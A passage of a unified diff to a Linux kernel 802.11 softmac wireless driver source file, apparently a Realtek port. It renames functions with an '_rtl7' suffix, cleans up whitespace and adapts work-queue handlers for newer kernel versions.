ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 